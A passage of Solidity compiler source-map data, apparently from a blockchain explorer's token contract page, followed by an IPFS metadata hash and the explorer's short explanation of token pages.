:55::i;:::-;10362:69;;10315:128;-1:-1:-1;;;;;10473:15:0;;;;;;:9;:15;;;;;;:32;;10493:11;10473:19;:32::i;:::-;-1:-1:-1;;;;;10455:15:0;;;;;;:9;:15;;;;;:50;10532:40;10550:21;:6;10561:9;10550:10;:21::i;:::-;-1:-1:-1;;;;;10532:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10516:13:0;;;;;;;:9;:13;;;;;:56;;;;10588:41;;;10607:21;:6;10618:9;10607:10;:21::i;:::-;10588:41;;1500:25:1;;;1488:2;1473:18;10588:41:0;;;;;;;10260:377;10123:514;;;;:::o;1295:136::-;1353:7;1380:43;1384:1;1387;1380:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1373:50;1295:136;-1:-1:-1;;;1295:136:0:o;1108:179::-;1166:7;;1198:5;1202:1;1198;:5;:::i;:::-;1186:17;;1227:1;1222;:6;;1214:46;;;;-1:-1:-1;;;1214:46:0;;12703:2:1;1214:46:0;;;12685:21:1;12742:2;12722:18;;;12715:30;12781:29;12761:18;;;12754:57;12828:18;;1214:46:0;12501:351:1;1671:246:0;1729:7;1753:1;1758;1753:6;1749:47;;-1:-1:-1;1783:1:0;1776:8;;1749:47;1806:9;1818:5;1822:1;1818;:5;:::i;:::-;1806:17;-1:-1:-1;1851:1:0;1842:5;1846:1;1806:17;1842:5;:::i;:::-;:10;1834:56;;;;-1:-1:-1;;;1834:56:0;;13281:2:1;1834:56:0;;;13263:21:1;13320:2;13300:18;;;13293:30;13359:34;13339:18;;;13332:62;-1:-1:-1;;;13410:18:1;;;13403:31;13451:19;;1834:56:0;13079:397:1;1925:132:0;1983:7;2010:39;2014:1;2017;2010:39;;;;;;;;;;;;;;;;;:3;:39::i;12490:107::-;12547:7;12579:1;12575;:5;12574:15;;12588:1;12574:15;;;-1:-1:-1;12584:1:0;12490:107;-1:-1:-1;12490:107:0:o;12605:483::-;5385:6;:13;;-1:-1:-1;;;;5385:13:0;-1:-1:-1;;;5385:13:0;;;12707:16:::1;::::0;;12721:1:::1;12707:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12707:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12707:16:0::1;12683:40;;12752:4;12734;12739:1;12734:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12734:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12778:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12778:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12734:7;;12778:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12768:4;12773:1;12768:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12768:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12843:15:::1;::::0;12811:62:::1;::::0;12828:4:::1;::::0;12843:15:::1;12861:11:::0;12811:8:::1;:62::i;:::-;12884:15;::::0;:196:::1;::::0;-1:-1:-1;;;12884:196:0;;-1:-1:-1;;;;;12884:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12965:11;;12884:15:::1;::::0;13007:4;;13034::::1;::::0;13054:15:::1;::::0;12884:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5421:6:0;:14;;-1:-1:-1;;;;5421:14:0;;;-1:-1:-1;;;;12605:483:0:o;9930:185::-;10002:4;10035:6;-1:-1:-1;;;;;10055:16:0;;;;;;;10052:32;;10080:4;10073:11;;;;;10052:32;-1:-1:-1;10102:5:0;;9930:185;-1:-1:-1;;;9930:185:0:o;10645:488::-;10802:7;;10880:6;10867:10;10880:6;10876:1;10867:10;:::i;:::-;10841:23;10853:11;10841:9;:23;:::i;:::-;:36;;;;:::i;:::-;:45;;;;:::i;:::-;10822:64;-1:-1:-1;10900:13:0;;10897:203;;10975:4;10957:24;;;;:9;:24;;;;;;:71;;11004:9;10957:28;:71::i;:::-;10948:4;10930:24;;;;:9;:24;;;;;;;:98;;;;11048:40;;-1:-1:-1;;;;;11048:40:0;;;;;;;11078:9;1500:25:1;;1488:2;1473:18;;1354:177;11048:40:0;;;;;;;;11117:8;10645:488;-1:-1:-1;;;;;10645:488:0:o;2065:223::-;2185:7;2220:12;2213:5;2205:28;;;;-1:-1:-1;;;2205:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2244:9:0;2256:5;2260:1;2256;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:127::-;2247:10;2242:3;2238:20;2235:1;2228:31;2278:4;2275:1;2268:15;2302:4;2299:1;2292:15;2318:1121;2402:6;2433:2;2476;2464:9;2455:7;2451:23;2447:32;2444:52;;;2492:1;2489;2482:12;2444:52;2532:9;2519:23;2561:18;2602:2;2594:6;2591:14;2588:34;;;2618:1;2615;2608:12;2588:34;2656:6;2645:9;2641:22;2631:32;;2701:7;2694:4;2690:2;2686:13;2682:27;2672:55;;2723:1;2720;2713:12;2672:55;2759:2;2746:16;2781:2;2777;2774:10;2771:36;;;2787:18;;:::i;:::-;2833:2;2830:1;2826:10;2865:2;2859:9;2928:2;2924:7;2919:2;2915;2911:11;2907:25;2899:6;2895:38;2983:6;2971:10;2968:22;2963:2;2951:10;2948:18;2945:46;2942:72;;;2994:18;;:::i;:::-;3030:2;3023:22;3080:18;;;3114:15;;;;-1:-1:-1;3156:11:1;;;3152:20;;;3184:19;;;3181:39;;;3216:1;3213;3206:12;3181:39;3240:11;;;;3260:148;3276:6;3271:3;3268:15;3260:148;;;3342:23;3361:3;3342:23;:::i;:::-;3330:36;;3293:12;;;;3386;;;;3260:148;;;3427:6;2318:1121;-1:-1:-1;;;;;;;;2318:1121:1:o;3444:247::-;3503:6;3556:2;3544:9;3535:7;3531:23;3527:32;3524:52;;;3572:1;3569;3562:12;3524:52;3611:9;3598:23;3630:31;3655:5;3630:31;:::i;3904:388::-;3972:6;3980;4033:2;4021:9;4012:7;4008:23;4004:32;4001:52;;;4049:1;4046;4039:12;4001:52;4088:9;4075:23;4107:31;4132:5;4107:31;:::i;:::-;4157:5;-1:-1:-1;4214:2:1;4199:18;;4186:32;4227:33;4186:32;4227:33;:::i;:::-;4279:7;4269:17;;;3904:388;;;;;:::o;4297:127::-;4358:10;4353:3;4349:20;4346:1;4339:31;4389:4;4386:1;4379:15;4413:4;4410:1;4403:15;4429:422;4518:1;4561:5;4518:1;4575:270;4596:7;4586:8;4583:21;4575:270;;;4655:4;4651:1;4647:6;4643:17;4637:4;4634:27;4631:53;;;4664:18;;:::i;:::-;4714:7;4704:8;4700:22;4697:55;;;4734:16;;;;4697:55;4813:22;;;;4773:15;;;;4575:270;;;4579:3;4429:422;;;;;:::o;4856:806::-;4905:5;4935:8;4925:80;;-1:-1:-1;4976:1:1;4990:5;;4925:80;5024:4;5014:76;;-1:-1:-1;5061:1:1;5075:5;;5014:76;5106:4;5124:1;5119:59;;;;5192:1;5187:130;;;;5099:218;;5119:59;5149:1;5140:10;;5163:5;;;5187:130;5224:3;5214:8;5211:17;5208:43;;;5231:18;;:::i;:::-;-1:-1:-1;;5287:1:1;5273:16;;5302:5;;5099:218;;5401:2;5391:8;5388:16;5382:3;5376:4;5373:13;5369:36;5363:2;5353:8;5350:16;5345:2;5339:4;5336:12;5332:35;5329:77;5326:159;;;-1:-1:-1;5438:19:1;;;5470:5;;5326:159;5517:34;5542:8;5536:4;5517:34;:::i;:::-;5587:6;5583:1;5579:6;5575:19;5566:7;5563:32;5560:58;;;5598:18;;:::i;:::-;5636:20;;4856:806;-1:-1:-1;;;4856:806:1:o;5667:140::-;5725:5;5754:47;5795:4;5785:8;5781:19;5775:4;5754:47;:::i;5812:168::-;5885:9;;;5916;;5933:15;;;5927:22;;5913:37;5903:71;;5954:18;;:::i;5985:356::-;6187:2;6169:21;;;6206:18;;;6199:30;6265:34;6260:2;6245:18;;6238:62;6332:2;6317:18;;5985:356::o;6346:127::-;6407:10;6402:3;6398:20;6395:1;6388:31;6438:4;6435:1;6428:15;6462:4;6459:1;6452:15;6478:135;6517:3;6538:17;;;6535:43;;6558:18;;:::i;:::-;-1:-1:-1;6605:1:1;6594:13;;6478:135::o;6970:251::-;7040:6;7093:2;7081:9;7072:7;7068:23;7064:32;7061:52;;;7109:1;7106;7099:12;7061:52;7141:9;7135:16;7160:31;7185:5;7160:31;:::i;8147:306::-;8235:6;8243;8251;8304:2;8292:9;8283:7;8279:23;8275:32;8272:52;;;8320:1;8317;8310:12;8272:52;8349:9;8343:16;8333:26;;8399:2;8388:9;8384:18;8378:25;8368:35;;8443:2;8432:9;8428:18;8422:25;8412:35;;8147:306;;;;;:::o;8737:277::-;8804:6;8857:2;8845:9;8836:7;8832:23;8828:32;8825:52;;;8873:1;8870;8863:12;8825:52;8905:9;8899:16;8958:5;8951:13;8944:21;8937:5;8934:32;8924:60;;8980:1;8977;8970:12;11047:128;11114:9;;;11135:11;;;11132:37;;;11149:18;;:::i;12016:125::-;12081:9;;;12102:10;;;12099:36;;;12115:18;;:::i;12857:217::-;12897:1;12923;12913:132;;12967:10;12962:3;12958:20;12955:1;12948:31;13002:4;12999:1;12992:15;13030:4;13027:1;13020:15;12913:132;-1:-1:-1;13059:9:1;;12857:217::o;13481:980::-;13743:4;13791:3;13780:9;13776:19;13822:6;13811:9;13804:25;13848:2;13886:6;13881:2;13870:9;13866:18;13859:34;13929:3;13924:2;13913:9;13909:18;13902:31;13953:6;13988;13982:13;14019:6;14011;14004:22;14057:3;14046:9;14042:19;14035:26;;14096:2;14088:6;14084:15;14070:29;;14117:1;14127:195;14141:6;14138:1;14135:13;14127:195;;;14206:13;;-1:-1:-1;;;;;14202:39:1;14190:52;;14297:15;;;;14262:12;;;;14238:1;14156:9;14127:195;;;-1:-1:-1;;;;;;;14378:32:1;;;;14373:2;14358:18;;14351:60;-1:-1:-1;;;14442:3:1;14427:19;14420:35;14339:3;13481:980;-1:-1:-1;;;13481:980:1:o
Swarm Source
ipfs://ced7c7aef7379ae27b6eb7dced799498677fe0ea72221a1c8c782801fdfefc09
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.